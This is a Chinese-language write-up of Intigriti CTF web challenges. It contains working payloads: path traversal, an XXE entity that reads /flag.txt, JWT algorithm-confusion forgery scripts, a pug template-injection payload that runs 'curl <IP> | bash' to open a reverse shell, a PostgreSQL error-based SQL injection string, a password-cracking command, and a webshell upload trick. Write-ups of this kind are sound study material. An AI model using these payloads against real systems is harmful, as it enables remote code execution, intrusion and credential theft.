第一次打国际赛 随便打打感觉学到好多东西
Pizza Paradise
发现信息泄露
robots.txt
存在登陆页面
发现存在前端的身份验证 显然是可以利用的
function hashPassword(password) {
return CryptoJS.SHA256(password).toString();
}
function validate() {
const username = document.getElementById("username").value;
const password = document.getElementById("password").value;
const credentials = getCredentials();
const passwordHash = hashPassword(password);
if (
username === credentials.username &&
passwordHash === credentials.passwordHash
) {
return true;
} else {
alert("Invalid credentials!");
return false;
}
}
值得注意的是 这里有个什么
getCredentials
函数 位于 /assets/js/auth.js
可以发现用户名和密码
密码是sha256加密后的 尝试在网上找个解密的 cmd5要付费eee
https://iotools.cloud/zh/tool/sha256-decrypt/
agent_1337
intel420
登陆后存在一个任意文件下载的页面
通过
../
目录遍历可以读取任意文件
最后发现 flag就在当前页面 emmmmm找了半天
INTIGRITI{70p_53cr37_m15510n_c0mpl373}
BioCorp
问题出在
panel.php
这个文件
对于是否可以访问也是有客户端的请求头进行判断
$ip_address = $_SERVER['HTTP_X_BIOCORP_VPN'] ?? $_SERVER['REMOTE_ADDR'];
if ($ip_address !== '80.187.61.102') {
echo "<h1>Access Denied</h1>";
echo "<p>You do not have permission to access this page.</p>";
exit;
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && strpos($_SERVER['CONTENT_TYPE'], 'application/xml') !== false) {
$xml_data = file_get_contents('php://input');
$doc = new DOMDocument();
if (!$doc->loadXML($xml_data, LIBXML_NOENT)) {
echo "<h1>Invalid XML</h1>";
exit;
}
} else {
$xml_data = file_get_contents('data/reactor_data.xml');
$doc = new DOMDocument();
$doc->loadXML($xml_data, LIBXML_NOENT);
}
$temperature = $doc->getElementsByTagName('temperature')->item(0)->nodeValue ?? 'Unknown';
$pressure = $doc->getElementsByTagName('pressure')->item(0)->nodeValue ?? 'Unknown';
$control_rods = $doc->getElementsByTagName('control_rods')->item(0)->nodeValue ?? 'Unknown';
通过 添加请求头 x-biocorp-vpn: 80.187.61.102
绕过对于页面的访问限制
符合 条件 Content-Type: application/xml
进入到加载XmL的逻辑中
存在典型的XXE外部实体注入 new DOMDocument->loadXML($xml_data, LIBXML_NOENT)
可以实现读取任意文件
可以发现 存在三个回显位
temperature
pressure
control_rods
直接打有回显的xxe就可以了
题目给了Dockerfile 可以发现 flag 位于 /flag.txt
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/flag.txt" >]>
<creds>
<temperature>&xxe;</temperature>
<pass>J1rrY</pass>
</creds>
可以直接读取到 /flag.txt
内容
可以直接拿到flag
INTIGRITI{c4r3ful_w17h_7h053_c0n7r0l5_0r_7h3r3_w1ll_b3_4_m3l7d0wn}
Cat Club
题目给了Docker源码
可以明显发现package.json
中 给的依赖库 jwt-web
存在历史漏洞
https://github.com/advisories/GHSA-4xw9-cx39-r355
存在JWT 算法混淆攻击 RS256的验证机制可以用HS256混淆 实现jwt的伪造
细心一点可以发现 nodejs应用对
username
做了严格的正则限制 猜测问题出在这里
在Dockerfile中发现 flag的名称被严重混淆 最终目的一点是要实现
RCE
# Randomize the flag name, move it to root, and set it as read-only
RUN flag_name=$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 16) && \
mv /app/app/flag.txt /flag_$flag_name.txt && \
chmod 444 /flag_$flag_name.txt && \
chown root:root /flag_$flag_name.txt
发现用户登陆后在
cats
路由 对cat.pug
模板字符替换位用户名并且实现模板渲染 国内基本上没有pug模板渲染实现RCE
的相关例题
那这道题我们可以理清思路 —–>
就是通过 jwt 公钥算法混淆伪造 HS256 实现任意用户登陆 后 在 /cats
路由实现pug模板注入实现最后的RCE
公钥要如何获取呢? 发现存在 jwks.json
路由 直接给了我们jwks
router.get("/jwks.json", async (req, res) => {
try {
const publicKey = await fsPromises.readFile(path.join(__dirname, "..", "public_key.pem"), "utf8");
const publicKeyObj = crypto.createPublicKey(publicKey);
const publicKeyDetails = publicKeyObj.export({ format: "jwk" });
const jwk = {
kty: "RSA",
n: base64urlEncode(Buffer.from(publicKeyDetails.n, "base64")),
e: base64urlEncode(Buffer.from(publicKeyDetails.e, "base64")),
alg: "RS256",
use: "sig",
};
res.json({ keys: [jwk] });
} catch (err) {
res.status(500).json({ message: "Error generating JWK" });
}
});
我们可以 尝试从 jwk 中恢复 public_key.pem
{"keys":[{"kty":"RSA","n":"w4oPEx-448XQWH_OtSWN8L0NUDU-rv1jMiL0s4clcuyVYvgpSV7FsvAG65EnEhXaYpYeMf1GMmUxBcyQOpathL1zf3_Jk5IsbhEmuUZ28Ccd8l2gOcURVFA3j4qMt34OlPqzf9nXBvljntTuZcQzYcGEtM7Sd9sSmg8uVx8f1WOmUFCaqtC26HdjBMnNfhnLKY9iPxFPGcE8qa8SsrnRfT5HJjSRu_JmGlYCrFSof5p_E0WPyCUbAV5rfgTm2CewF7vIP1neI5jwlcm22X2t8opUrLbrJYoWFeYZOY_Wr9vZb23xmmgo98OAc5icsvzqYODQLCxw4h9IxGEmMZ-Hdw","e":"AQAB","alg":"RS256","use":"sig"}]}
拷问GPT给出从jwk恢复出公钥的脚本
const fs = require('fs');
const jwkToPem = require('jwk-to-pem');
// 您提供的 JWK 数据
const jwk = {
keys: [
{
kty: "RSA",
n: "w4oPEx-448XQWH_OtSWN8L0NUDU-rv1jMiL0s4clcuyVYvgpSV7FsvAG65EnEhXaYpYeMf1GMmUxBcyQOpathL1zf3_Jk5IsbhEmuUZ28Ccd8l2gOcURVFA3j4qMt34OlPqzf9nXBvljntTuZcQzYcGEtM7Sd9sSmg8uVx8f1WOmUFCaqtC26HdjBMnNfhnLKY9iPxFPGcE8qa8SsrnRfT5HJjSRu_JmGlYCrFSof5p_E0WPyCUbAV5rfgTm2CewF7vIP1neI5jwlcm22X2t8opUrLbrJYoWFeYZOY_Wr9vZb23xmmgo98OAc5icsvzqYODQLCxw4h9IxGEmMZ-Hdw",
e: "AQAB",
alg: "RS256",
use: "sig"
}
]
};
// 选择第一个密钥
const jwkKey = jwk.keys[0];
// 转换为 PEM 格式
const pem = jwkToPem(jwkKey);
// 将 PEM 保存到文件
fs.writeFileSync('j1rry.pem', pem, 'utf8');
console.log('j1rry.pem 已成功生成。');
可以得到恢复的公钥
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw4oPEx+448XQWH/OtSWN
8L0NUDU+rv1jMiL0s4clcuyVYvgpSV7FsvAG65EnEhXaYpYeMf1GMmUxBcyQOpat
hL1zf3/Jk5IsbhEmuUZ28Ccd8l2gOcURVFA3j4qMt34OlPqzf9nXBvljntTuZcQz
YcGEtM7Sd9sSmg8uVx8f1WOmUFCaqtC26HdjBMnNfhnLKY9iPxFPGcE8qa8SsrnR
fT5HJjSRu/JmGlYCrFSof5p/E0WPyCUbAV5rfgTm2CewF7vIP1neI5jwlcm22X2t
8opUrLbrJYoWFeYZOY/Wr9vZb23xmmgo98OAc5icsvzqYODQLCxw4h9IxGEmMZ+H
dwIDAQAB
-----END PUBLIC KEY-----
现在可以尝试伪造 jwt实现用户名的注入
const jwt = require('jsonwebtoken');
const fs = require('fs');
var privateKey = fs.readFileSync(process.cwd()+'\\app\\j1rry.pem');
var token = jwt.sign({
"username": "#{7*7}",
}, privateKey, { algorithm: 'HS256' });
console.log(token)
得到 伪造的jwt值
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IiN7Nyo3fSIsImlhdCI6MTczMTgzNTg5N30.jR7M5ByPIPgXoeCWLUleGSBP1ehtaTZ5I6qngPGcBow
发现成功伪造了jwt 并且 pug实现了
#{7*7}
的运算
直接一把梭没有成功?尝试仿照POC直接写个匿名函数实现反弹shell
const jwt = require('jsonwebtoken');
const fs = require('fs');
var privateKey = fs.readFileSync(process.cwd()+'\\app\\j1rry.pem');
var token = jwt.sign({
"username": "#{function(){global.process.mainModule.constructor._load(\"child_process\").execSync(\"curl 192.227.165.134 | bash\")}()}",
}, privateKey, { algorithm: 'HS256' });
console.log(token)
可以直接反弹shell回来
在根目录下拿到flag
INTIGRITI{h3y_y0u_c4n7_ch41n_7h053_vuln5_l1k3_7h47}
Fruitables
发现存在
accout.php
路由 停用了注册功能 重定向到了https://fruitables-0.ctf.intigriti.io/auth/fruitables_login.php
https://fruitables-0.ctf.intigriti.io/auth/fruitables_login.php?error=Sorry%2C+registration+is+currently+closed%21
尝试爆破密码无果 尝试Fuzzinig sqli.txt一下
发现单引号 '
让页面报错 可以知道闭合方式就是单引号 存在SQL注入 FUZZ
之前的所有Dockerfile都是用pgsql实现的数据库功能 可以尝试学习一下pgsql注入
虽然这里似乎用了
PDO
做预编译 但是应该是错误的写法造成了pgsql注入
尝试堆叠注入执行多条语句 发现不支持多条语句
有明显的报错回显 优先考虑报错注入
' and 1=cast((SELECT concat(username,':',password) FROM users LIMIT 1 OFFSET 2) as int) and '1'='1
通过报错回显得到 后台管理员账号密码
tjfry_admin
$2y$10$buhvcTHdjqnb2r0L15ilJefOlGTe1rpD31685K02KfOk7xizNisiy
对于bcrypt
加密的密码哈希 优先尝试弱密码爆破
直接用kali自带的hashcat进行爆破若密钥 跑rockyou字典
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
可以直接拿到密码为 futurama
发现登陆后台后 存在明显的文件上传点 考虑上传webshell
发现这里对文件内容头进行检测 直接PNG头绕过
Fuzzing一下 发现文件名中必须要有png或者jpg 不检测后缀的神奇逻辑
直接读flag就是了
INTIGRITI{fru174bl35_vuln3r4b1l17y_ch3ckm8}
SafeNotes
错过了八月的比赛 Intigriti’s August (Defcon) Challenge 重新学习一下
SafeNotes2
有空就填个坑